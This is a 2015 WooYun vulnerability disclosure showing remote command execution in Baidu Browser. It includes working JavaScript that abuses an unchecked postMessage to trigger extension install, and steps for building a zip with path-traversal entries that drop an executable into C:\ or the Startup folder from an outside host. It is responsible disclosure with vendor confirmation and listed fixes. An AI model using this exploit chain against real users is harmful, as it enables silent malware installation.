当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-096413

漏洞标题:百度浏览器远程命令执行七

相关厂商:百度

漏洞作者: gainover

提交时间:2015-02-09 10:48

修复时间:2015-05-10 12:52

公开时间:2015-05-10 12:52

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-09: 细节已通知厂商并且等待厂商处理中
2015-02-09: 厂商已经确认,细节仅向厂商公开
2015-02-12: 细节向第三方安全合作伙伴开放
2015-04-05: 细节向核心白帽子及相关领域专家公开
2015-04-15: 细节向普通白帽子公开
2015-04-25: 细节向实习白帽子公开
2015-05-10: 细节向公众公开

简要描述:

嗯,还是有点意思。http://www.wooyun.org/bugs/wooyun-2015-095664 中所述问题的又一案例。

详细说明:

1. 本来是在 bbs.liulanqi.baidu.com下找到一个DOM XSS,但是发现百度这次把bbs.liulanqi.baidu.com从特权域中去掉了。T T。
2. 转战其它域,发现这么一个URL:http://chajian.baidu.com/app-res.html
在这个页面中,存在一些缺陷,允许来自外部的postMessage,这个页面够不成XSS,但是这个postMessage可以调用到一些特权的API,如:

window.external.StartRequest(1264, "extension_install", ....., "")


3. 上面的缺陷不具体分析了,我们可以自己编写以下页面代码:

var f=document.createElement("iframe");f.src="http://chajian.baidu.com/app-res.html";
f.onload=function(){
f.contentWindow.postMessage('{"type":"install","data":{"id":"fpdnjdlbdmifoocedhkighhlbchbiikl","url":"http://dlsw.br.baidu.com/app/201410/1f457685544a52b101cc1f173adae6f8.crx","ext_url":"http://dlsw.br.baidu.com/app_ext/201411/5833639e2b4c852bb7cf18570b0a578f.zip"}}','*');
};
document.body.appendChild(f);


其中,url是插件地址,ext_url是插件的LOGO压缩包(ZIP格式)
(测试地址:http://xsst.sinaapp.com/poc/bd7.htm)
4. 看样子我们可以实现安装一个插件,但是插件具有以下的交互提示:

1.png


5. 假设用户不会点击【安装】按钮,那么对于用户来说并没有任何影响。
-----------------------------------------------------------------------
!!!那么,这个点是不是就没用了呢?
-----------------------------------------------------------------------
6. 我们可以注意到ext_url对应了一个http://dlsw.br.baidu.com/app_ext/201411/5833639e2b4c852bb7cf18570b0a578f.zip这么一个压缩包,下载压缩包后,发现里面对应着插件的LOGO图片。当我们执行上面的代码(http://xsst.sinaapp.com/poc/bd7.htm)时,会发现本地会多出一个目录C:\Users\gainover\AppData\Roaming\Baidu\baidubrowser\user_data\default\chrome_profile\Imgs\fpdnjdlbdmifoocedhkighhlbchbiikl (WIN7下的路径),该目录下会多出2个图片,这2个图片,正是 http://dlsw.br.baidu.com/app_ext/201411/5833639e2b4c852bb7cf18570b0a578f.zip 里释放出来的。

2.png


7. 这说明,百度浏览器在执行externsion_install时,(即使用户不点击安装按钮),浏览器也会下载LOGO图片压缩包并解压到本地目录中。
因为这里存在一个解压缩操作,如果解压缩的函数存在问题,就会出现( WooYun: QQ浏览器远程任意命令执行漏洞(附有分析和利用) )中相类似的问题。
8. 于是测试如下,下载http://dlsw.br.baidu.com/app_ext/201411/5833639e2b4c852bb7cf18570b0a578f.zip文件,然后使用7zip修改,
拖入一个calc.exe到压缩包中,然后重命名为 ../../../../../../../../../../../calc.exe

3.png


9. 将修改后的压缩包放到服务器上
http://xsst.sinaapp.com/poc/bd2.zip
10. 然后将之前利用代码里的ext_url改为 http://xsst.sinaapp.com/poc/bd2.zip
见:http://xsst.sinaapp.com/poc/bd7_2.htm
运行后,弹出安装框,不用做任何操作,可以看到C盘根目录下写入了calc.exe
(Win7 需关闭UAC,或浏览器以管理员身份运行)

5.jpg


11. 利用这种方式,我们可以把exe写入到启动目录。
同上,拖入calc.exe到压缩包,然后重命名为:
../../../../../../../../../../../../../../../../../../Documents and Settings/All Users/「开始」菜单/程序/启动/calc.exe
XP下,百度浏览器访问http://xsst.sinaapp.com/poc/bd7_3.htm
写入效果:

4.png


漏洞证明:

见详细说明

修复方案:

1. 修复http://chajian.baidu.com/app-res.html中的缺陷,判断消息的origin
2. 修复安装插件流程中,对插件LOGO图压缩包解压缩的实现缺陷。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-02-09 12:51

厂商回复:

感谢提交,已通知业务部门处理

最新状态:

暂无